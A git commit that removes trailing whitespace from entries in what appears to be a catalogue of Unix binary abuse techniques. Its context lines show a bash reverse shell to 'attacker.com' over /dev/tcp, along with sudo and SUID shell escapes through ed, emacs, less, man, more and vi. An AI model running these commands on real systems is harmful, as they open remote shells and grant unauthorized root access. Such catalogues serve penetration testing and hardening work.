Fix trailing spaces

This commit is contained in:
Andrea Cardaci 2018-05-28 19:55:44 +02:00
parent 89985be143
commit 004b4bf828
8 changed files with 11 additions and 12 deletions

View File

@ -49,8 +49,7 @@ load-library:
file-read:
label: File read
description: It reads files and may be used to do privileged reads or disclose files outside a restricted environment.
file-write:
label: File write
description: It writes files and may be used to do privileged writes or write files outside a restricted environment.

View File

@ -40,7 +40,7 @@ functions:
export RHOST=attacker.com
export RPORT=12345
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
file-read:
file-read:
- description: It trims trailing newlines.
code: |
export LFILE=file_to_read

View File

@ -12,10 +12,10 @@ functions:
- code: |-
./ed
!/bin/sh
file-read:
file-read:
- code: |
ed file_to_read
file-write:
file-write:
- code: |
ed file_to_write
w

View File

@ -6,10 +6,10 @@ functions:
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
suid-enabled:
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
file-read:
file-read:
- code: |
emacs file_to_read
file-write:
file-write:
- code: |
emacs file_to_write
C-x C-s

View File

@ -15,7 +15,7 @@ functions:
- code: |-
./less /etc/profile
!/bin/sh
file-read:
file-read:
- code: |
less file_to_read
---

View File

@ -12,7 +12,7 @@ functions:
- code: |-
./man man
!/bin/sh
file-read:
file-read:
- code: |
man file_to_read
---

View File

@ -12,7 +12,7 @@ functions:
- code: |-
TERM= ./more /etc/profile
!/bin/sh
file-read:
file-read:
- code: |
more file_to_read
---

View File

@ -10,10 +10,10 @@ functions:
- code: sudo vi -c ':!/bin/sh'
suid-enabled:
- code: ./vi -c ':!/bin/sh -p'
file-read:
file-read:
- code: |
vi file_to_read
file-write:
file-write:
- code: |
vi file_to_write
w